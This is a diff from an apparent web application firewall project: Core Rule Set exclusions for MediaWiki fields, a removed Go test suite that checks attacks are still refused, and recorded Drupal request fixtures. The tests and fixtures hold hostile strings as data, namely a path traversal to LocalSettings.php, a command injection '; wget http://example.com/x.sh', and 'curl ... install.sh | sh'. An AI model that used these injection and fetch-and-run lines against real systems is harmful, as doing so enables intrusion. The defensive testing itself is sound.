# title: /index.php?title=Python3_notes&action=history
# search: /index.php?search=python3&title=Special:Search
# target: /wiki/Special:WhatLinksHere?target=Python3+notes
# page, user: /wiki/Special:Log?user=Admin&page=Python3+notes
# username: /wiki/Special:ListUsers?username=python3
# from, to: /wiki/Special:AllPages?from=python3
# prefix: /wiki/Special:PrefixIndex?prefix=python3
# returnto, returntoquery: /wiki/Special:UserLogin?returnto=Python3_notes
# ilsearch: /wiki/Special:ListFiles?ilsearch=python3
# filename: /wiki/Special:FileDuplicateSearch?filename=Pic+python3.png
# wpDestFile: /wiki/Special:Upload?wpDestFile=Pic+python3.png
# wpTarget: /wiki/Special:BlockList?wpTarget=Python3, and blocking or
# unblocking the user Python3
# Uploaded files' names skip 932180, as on the API below.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900900,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:title|search|target|page|user|username|from|to|prefix|returnto|returntoquery|ilsearch|filename|wpdestfile|wptarget)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:title|search|target|page|user|username|from|to|prefix|returnto|returntoquery|ilsearch|filename|wpdestfile|wptarget)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:title|search|target|page|user|username|from|to|prefix|returnto|returntoquery|ilsearch|filename|wpdestfile|wptarget)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:title|search|target|page|user|username|from|to|prefix|returnto|returntoquery|ilsearch|filename|wpdestfile|wptarget)$/,\
ctl:ruleRemoveTargetById=932180;FILES"
# The API's searches, titles, names and file names, in the query or the body:
# search: /api.php?action=opensearch&search=python3
# srsearch, pssearch: /api.php?action=query&list=search&srsearch=python3
# titles, title, page: /api.php?action=parse&page=Python3+notes
# from, to: moving a page, from=Python3+notes&to=Ls+-la+notes
# apfrom, apto, apprefix: /api.php?action=query&list=allpages&apfrom=python3
# aifrom, aiprefix: /api.php?action=query&list=allimages&aiprefix=python3
# aufrom, auprefix: /api.php?action=query&list=allusers&auprefix=python3
# bltitle: /api.php?action=query&list=backlinks&bltitle=Python3+notes
# gsrsearch, gpssearch, gapfrom, gbltitle: the same fields from a generator,
# /api.php?action=query&generator=prefixsearch&gpssearch=python3
# euquery: /api.php?action=query&list=exturlusage&euquery=example.com/python3
# ucuser: /api.php?action=query&list=usercontribs&ucuser=python3
# bkusers: /api.php?action=query&list=blocks&bkusers=Python3
# user: blocking, unblocking or changing the groups of a user, user=Python3
# summary, sectiontitle: saving a page, summary=Notes+on+python3
# filename, comment: uploading a file, filename=Api+python3.png
# reason: moving or deleting a page, reason=python3
# lgname, lgpassword, username, password: signing in, password=python3
# Uploaded files' names skip 932180, which refused uploading
# "Api .htaccess.png" as a server's own file. Coraza keeps these names without
# the field each came in. MediaWiki refuses a file whose extension it does not
# allow.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
"id:900901,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gbltitle|euquery|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gbltitle|euquery|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gbltitle|euquery|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gbltitle|euquery|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
ctl:ruleRemoveTargetById=932180;FILES"
# The search box's suggestions and the search through the REST API:
# /rest.php/v1/search/title?q=python3.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?rest\.php/" \
"id:900902,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# The names of the scripts and styles a page loads, which 930120 read as a
# system file: /load.php?modules=jquery,moment,oojs,...|mediawiki.storage.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?load\.php$" \
"id:900903,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:modules"
# The fields below are in bodies, and skip the four rules there:
# wpSummary: saving a page, "Notes on python3, ls -la and .htaccess"
# wpUploadDescription: uploading a file
# wpName, wpPassword: signing in
# wpOldTitle, wpNewTitleMain, wpReason: moving a page to "Python3 notes"
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900910,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &ARGS_GET:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/"
# Wikitext: the edit form sends it in wpTextbox1, the API in text, appendtext
# or prependtext, and the REST API in the JSON field source. Each of these
# rules refused saving or previewing a page whose wikitext held a template, a
# table and code blocks with a shell script, an SQL query and JavaScript, so
# they skip those fields: 930120, 932120, 932125, 932160, 932230, 932235,
# 932250, 932260, 941180, 941390, 942190 and 942270.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900911,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &ARGS_GET:wpTextbox1 "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=932120;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=932125;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=932160;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=932230;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=932235;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=932250;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=932260;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=941180;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=941390;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=942190;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=942270;ARGS:wpTextbox1"
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
"id:900912,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:text|appendtext|prependtext)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=941390;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=942270;ARGS:/^(?:text|appendtext|prependtext)$/"
# A REST API client saving a page sends its wikitext in source, which skips
# the rules above, and its summary in comment, which skips the four rules.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?rest\.php/" \
"id:900913,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:source|comment)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:source|comment)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:source|comment)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:source|comment)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:source|comment)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:json.source,\
ctl:ruleRemoveTargetById=932160;ARGS:json.source,\
ctl:ruleRemoveTargetById=932230;ARGS:json.source,\
ctl:ruleRemoveTargetById=932235;ARGS:json.source,\
ctl:ruleRemoveTargetById=941180;ARGS:json.source,\
ctl:ruleRemoveTargetById=941390;ARGS:json.source,\
ctl:ruleRemoveTargetById=942190;ARGS:json.source,\
ctl:ruleRemoveTargetById=942270;ARGS:json.source"
# The reasons on the admin pages are in bodies. They skip only 930120 and
# 932120, which refused "Spamming links to .htaccess guides" and the same with
# powershell:
# wpReason-other: blocking a user
# user-reason: changing a user's groups
# mwProtect-reason: protecting a page
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900914,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &ARGS_GET:/^(?:wpreason-other|user-reason|mwprotect-reason)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:wpreason-other|user-reason|mwprotect-reason)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:wpreason-other|user-reason|mwprotect-reason)$/"
internal/coreruleset/mediawiki_test.go
-367
View File
@@ -1,367 +0,0 @@
package coreruleset_test
import (
"net/http"
"slices"
"testing"
)
// mediawikiThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
const mediawikiThreshold = 5
// mediawikiEdit is the address MediaWiki's edit form posts to.
const mediawikiEdit = "/index.php?title=Example&action=submit"
// mediawikiAPI is MediaWiki's API.
const mediawikiAPI = "/api.php"
// mediawikiRESTPage is a page in MediaWiki's REST API.
const mediawikiRESTPage = "/rest.php/v1/page/Example"
// mediawikiUpload is MediaWiki's upload page.
const mediawikiUpload = "/wiki/Special:Upload"
// mediawikiSignIn is the address MediaWiki's sign-in form posts to.
const mediawikiSignIn = "/index.php?title=Special:UserLogin"
// mediawikiMove is the address MediaWiki's form for moving a page posts to.
const mediawikiMove = "/index.php?title=Special:MovePage&action=submit"
// mediawikiBlock is the address MediaWiki's form for blocking a user posts
// to.
const mediawikiBlock = "/wiki/Special:Block"
// mediawikiProtect is the address MediaWiki's form for protecting a page
// posts to.
const mediawikiProtect = "/index.php?title=Example&action=protect"
// mediawikiSignInPage and mediawikiUploadPage are where a wiki without short
// URLs posts its sign-in and upload forms.
const (
mediawikiSignInPage = "/index.php/Special:UserLogin"
mediawikiUploadPage = "/index.php/Special:Upload"
)
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "mediawiki-requests.txt")
}
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
// skips 930120, 932120, 932250 and 932260, other than wikitext and the JSON
// fields of /rest.php/. mediawikiQueryFields sends each in the query, on a
// path where it skips them, ending in "=".
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiQueryFields = []string{
"/index.php?title=",
"/index.php?title=Special:Search&search=",
"/wiki/Special:WhatLinksHere?target=",
"/wiki/Special:Log?page=",
"/wiki/Special:Log?user=",
"/wiki/Special:ListUsers?username=",
"/wiki/Special:AllPages?from=",
"/wiki/Special:AllPages?to=",
"/wiki/Special:PrefixIndex?prefix=",
mediawikiSignIn + "&returnto=",
mediawikiSignIn + "&returntoquery=",
"/wiki/Special:ListFiles?ilsearch=",
"/wiki/Special:FileDuplicateSearch?filename=",
mediawikiUpload + "?wpDestFile=",
"/wiki/Special:BlockList?wpTarget=",
"/index.php?title=Special:BlockList&wpTarget=",
"/w/index.php?title=Special:Search&search=",
"/index.php/Special:AllPages?from=",
"/w/index.php/Special:Search?search=",
"/api.php?action=opensearch&search=",
"/api.php?action=query&list=search&srsearch=",
"/api.php?action=query&list=prefixsearch&pssearch=",
"/api.php?action=query&generator=prefixsearch&gpssearch=",
"/api.php?action=query&generator=search&gsrsearch=",
"/api.php?action=query&titles=",
"/api.php?action=parse&page=",
"/api.php?action=query&list=allpages&apfrom=",
"/api.php?action=query&list=allpages&apto=",
"/api.php?action=query&list=allpages&apprefix=",
"/api.php?action=query&generator=allpages&gapfrom=",
"/api.php?action=query&list=allimages&aifrom=",
"/api.php?action=query&list=allimages&aiprefix=",
"/api.php?action=query&list=allusers&aufrom=",
"/api.php?action=query&list=allusers&auprefix=",
"/api.php?action=query&list=backlinks&bltitle=",
"/api.php?action=query&generator=backlinks&gbltitle=",
"/api.php?action=query&list=exturlusage&euquery=",
"/api.php?action=query&list=usercontribs&ucuser=",
"/api.php?action=query&list=blocks&bkusers=",
"/w/api.php?action=opensearch&search=",
"/rest.php/v1/search/title?q=",
"/rest.php/v1/search/page?q=",
}
// mediawikiAttacks are an SQL injection, a path traversal and a script
// injection, as a query value.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiAttacks = []string{
sqlInjection,
"..%2F..%2FLocalSettings.php",
scriptInjection,
}
func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
targets := append([]string{"/index.php?id=", "/load.php?modules="},
mediawikiQueryFields...)
for _, attack := range mediawikiAttacks {
for _, target := range targets {
if got := inspect(t, crs, get(target+attack)); got.Score < mediawikiThreshold {
t.Errorf("%s%s let through: %+v", target, attack, got)
}
}
}
}
// mediawikiBodyField is a field of a form data body, sent to a path.
type mediawikiBodyField struct{ target, field string }
// mediawikiBodyFields and mediawikiQueryFields together hold every field that
// skips 930120, 932120, 932250 and 932260, other than wikitext and the JSON
// fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on
// a path where it skips them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiBodyFields = []mediawikiBodyField{
{mediawikiEdit, "wpSummary="},
{mediawikiUpload, "wpUploadDescription="},
{mediawikiUpload, "wpDestFile="},
{mediawikiSignIn, "wpName="},
{mediawikiSignIn, "wpPassword="},
{mediawikiMove, "wpOldTitle="},
{mediawikiMove, "wpNewTitleMain="},
{mediawikiMove, "wpReason="},
{mediawikiBlock, "wpTarget="},
{mediawikiSignInPage, "wpName="},
{"/w" + mediawikiSignInPage, "wpPassword="},
{mediawikiUploadPage, "wpDestFile="},
{"/w" + mediawikiUploadPage, "wpUploadDescription="},
{mediawikiAPI, "title="},
{mediawikiAPI, "from="},
{mediawikiAPI, "to="},
{mediawikiAPI, "summary="},
{mediawikiAPI, "sectiontitle="},
{mediawikiAPI, "filename="},
{mediawikiAPI, "comment="},
{mediawikiAPI, "reason="},
{mediawikiAPI, "user="},
{mediawikiAPI, "lgname="},
{mediawikiAPI, "lgpassword="},
{mediawikiAPI, "username="},
{mediawikiAPI, "password="},
}
// mediawikiReasonFields are the reasons on the admin pages, which skip only
// 930120 and 932120.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiReasonFields = []mediawikiBodyField{
{mediawikiBlock, "wpReason-other="},
{"/index.php/Special:UserRights", "user-reason="},
{mediawikiProtect, "mwProtect-reason="},
}
// mediawikiWikitextFields are the form data fields that hold wikitext.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiWikitextFields = []mediawikiBodyField{
{mediawikiEdit, "wpTextbox1="},
{mediawikiAPI, "text="},
{mediawikiAPI, "appendtext="},
{mediawikiAPI, "prependtext="},
}
func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
mediawikiReasonFields)
for _, attack := range mediawikiAttacks {
for _, sent := range fields {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+attack)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s %s%s let through: %+v", sent.target, sent.field, attack, got)
}
}
}
for _, attack := range []string{
injection,
scriptTag,
} {
for _, field := range []string{"source", "comment"} {
r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
body := `{"` + field + `":"` + attack + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < mediawikiThreshold {
t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
}
}
}
}
// mediawikiCommandAttack is a shell command that only 932235 refuses on the
// fields that skip the other command rules, as a query value.
const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
targets := append([]string{"/load.php?modules="}, mediawikiQueryFields...)
for _, target := range targets {
got := inspect(t, crs, get(target+mediawikiCommandAttack))
if got.Score < mediawikiThreshold {
t.Errorf("%s let through: %+v", target, got)
}
}
crs = readingBodies(t)
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields) {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s %s let through: %+v", sent.target, sent.field, got)
}
}
r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
body := `{"comment":"; wget http://example.com/x.sh"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < mediawikiThreshold {
t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
}
}
func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, value := range hardValues {
for _, target := range mediawikiQueryFields {
if got := inspect(t, crs, get(target+value)); got.Score >= mediawikiThreshold {
t.Errorf("%s%s refused: %+v", target, value, got)
}
}
fields := append(append([]mediawikiBodyField{}, mediawikiBodyFields...),
mediawikiWikitextFields...)
for _, sent := range fields {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+value)
if got.Score >= mediawikiThreshold {
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
}
}
// A reason names the command or file in a sentence, as recorded.
for _, sent := range mediawikiReasonFields {
r := request{http.MethodPost, sent.target, []string{formData}}
body := sent.field + "Spamming%20links%20to%20" + value + "%20guides"
got, _ := inspectBody(t, crs, r, body)
if got.Score >= mediawikiThreshold {
t.Errorf("POST %s %s refused: %+v", sent.target, body, got)
}
}
}
}
func TestMediaWikiExclusionsAreNarrow(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, refused := range []string{
"/?search=python3",
"/index.php?search=python3",
"/index.php?title=Example&other=python3",
"/other.php?title=python3",
"/api.php?other=python3",
"/rest.php/v1/search/title?other=python3",
"/?q=python3",
"/load.php?other=.htaccess",
"/x/api.php?search=python3",
"/x/index.php/Example?search=python3",
} {
if got := inspect(t, crs, get(refused)); got.Score < mediawikiThreshold {
t.Errorf("%s let through: %+v", refused, got)
}
}
crs = readingBodies(t)
// An uploaded file named .htaccess is still refused off MediaWiki's
// paths.
r := request{
http.MethodPost, "/upload.php",
[]string{"Content-Type: multipart/form-data; boundary=b"},
}
body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
"filename=\"Example .htaccess.png\"\r\n\r\nx\r\n--b--\r\n"
got, _ := inspectBody(t, crs, r, body)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s %q let through: %+v", r.target, body, got)
}
for _, target := range []string{
mediawikiAPI, mediawikiUpload,
mediawikiUploadPage, "/w" + mediawikiUploadPage,
} {
r.target = target
if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
t.Errorf("POST %s %q refused: %+v", r.target, body, got)
}
}
}
func TestMediaWikiBodyFieldsStayCheckedInTheQuery(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// The same field name in the query keeps the rules, in the query and
// in the body.
for _, sent := range []struct{ target, field string }{
{mediawikiEdit, "wpTextbox1=python3"},
{mediawikiEdit, "wpSummary=python3"},
{mediawikiSignIn, "wpPassword=python3"},
{mediawikiProtect, "mwProtect-reason=.htaccess"},
{mediawikiAPI + "?action=edit", "text=python3"},
} {
r := request{http.MethodPost, sent.target + "&" + sent.field, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}
}
internal/coreruleset/testdata/drupal-requests.txt
Vendored
+2 -258
View File
@@ -1,6 +1,6 @@
# Ordinary Drupal 11.4 requests that the Core Rule Set must let through at the
# defaults. They were recorded from a site driven by a headless Chrome and
# HTTP clients. Each line is one request as JSON. Host names, passwords and
# defaults. They were recorded from a site driven by a headless Chrome and an
# API client. Each line is one request as JSON. Host names, passwords and
# session cookies are invented.
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/core/themes/olivero/fonts/metropolis/Metropolis-Regular.woff2", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/"], "body": ""}
@@ -407,11 +407,6 @@
{"method": "GET", "target": "/node/1?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "PATCH", "target": "/node/1?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Content-Type: application/json", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": "{\"type\": [{\"target_id\": \"article\"}], \"title\": [{\"value\": \"Edited: python3\"}]}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"new.person@example.com\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"example\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"python3\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"powershell\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"ls -la\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \".htaccess\"}"}
{"method": "POST", "target": "/user/logout?_format=json&token=6g2zVXyWnyiVNy0zy76IqHwJfb_Q7fY4m1cpnZyh0LY", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "PATCH", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"77b584a4-587e-4273-90b7-2677a1502feb\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"<p>SELECT rows FROM table, then ls -la.</p>\", \"format\": \"basic_html\"}}}}"}
{"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
@@ -507,254 +502,3 @@
{"method": "POST", "target": "/jsonapi/node/article", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: lRai9w8Ufs5XV4lf0RjtPEHPjM5YyEGC1vnmmCEgd08"], "body": "{\"data\": {\"type\": \"node--article\", \"attributes\": {\"title\": \"SELECT a table: python3, ls -la and .htaccess\", \"body\": {\"value\": \"<h2>Notes on python3 and powershell</h2><p>Run <code>ls -la</code> then <a href=\\\"/python3-notes\\\">read the notes</a> or <a href=\\\"https://example.com/docs/setup.php?a=1&amp;b=2\\\">the docs</a>.</p><pre><code class=\\\"language-bash\\\">#!/bin/sh\\ncat /etc/hosts | grep example &amp;&amp; ls -la\\npython3 setup.py install\\ncurl -s https://example.com/install.sh | sh\\nSELECT name, mail FROM users WHERE uid = 1;\\nconsole.log('ok'); document.getElementById('x');\\nif (a == b) { echo $PATH; }\\n</code></pre><blockquote><p>Select a table from the catalog, then union the results.</p></blockquote><ul><li>one</li><li>two</li></ul><table><tbody><tr><td>python3</td><td>3.13</td></tr></tbody></table><p><img src=\\\"/sites/default/files/inline-images/photo.png\\\" alt=\\\"A photo\\\" width=\\\"1\\\" height=\\\"1\\\" data-entity-type=\\\"file\\\" data-entity-uuid=\\\"11111111-2222-4333-8444-555555555555\\\"></p>\", \"format\": \"full_html\", \"summary\": \"Notes on python3 and powershell\"}}}}"}
{"method": "PATCH", "target": "/jsonapi/node/article/d71c9e89-d9bd-4822-ba15-54bef9d26522", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: lRai9w8Ufs5XV4lf0RjtPEHPjM5YyEGC1vnmmCEgd08"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"d71c9e89-d9bd-4822-ba15-54bef9d26522\", \"attributes\": {\"title\": \"Edited: docker-compose.yml\", \"body\": {\"value\": \"<h2>Notes on python3 and powershell</h2><p>Run <code>ls -la</code> then <a href=\\\"/python3-notes\\\">read the notes</a> or <a href=\\\"https://example.com/docs/setup.php?a=1&amp;b=2\\\">the docs</a>.</p><pre><code class=\\\"language-bash\\\">#!/bin/sh\\ncat /etc/hosts | grep example &amp;&amp; ls -la\\npython3 setup.py install\\ncurl -s https://example.com/install.sh | sh\\nSELECT name, mail FROM users WHERE uid = 1;\\nconsole.log('ok'); document.getElementById('x');\\nif (a == b) { echo $PATH; }\\n</code></pre><blockquote><p>Select a table from the catalog, then union the results.</p></blockquote><ul><li>one</li><li>two</li></ul><table><tbody><tr><td>python3</td><td>3.13</td></tr></tbody></table><p><img src=\\\"/sites/default/files/inline-images/photo.png\\\" alt=\\\"A photo\\\" width=\\\"1\\\" height=\\\"1\\\" data-entity-type=\\\"file\\\" data-entity-uuid=\\\"11111111-2222-4333-8444-555555555555\\\"></p>\", \"format\": \"full_html\"}}}}"}
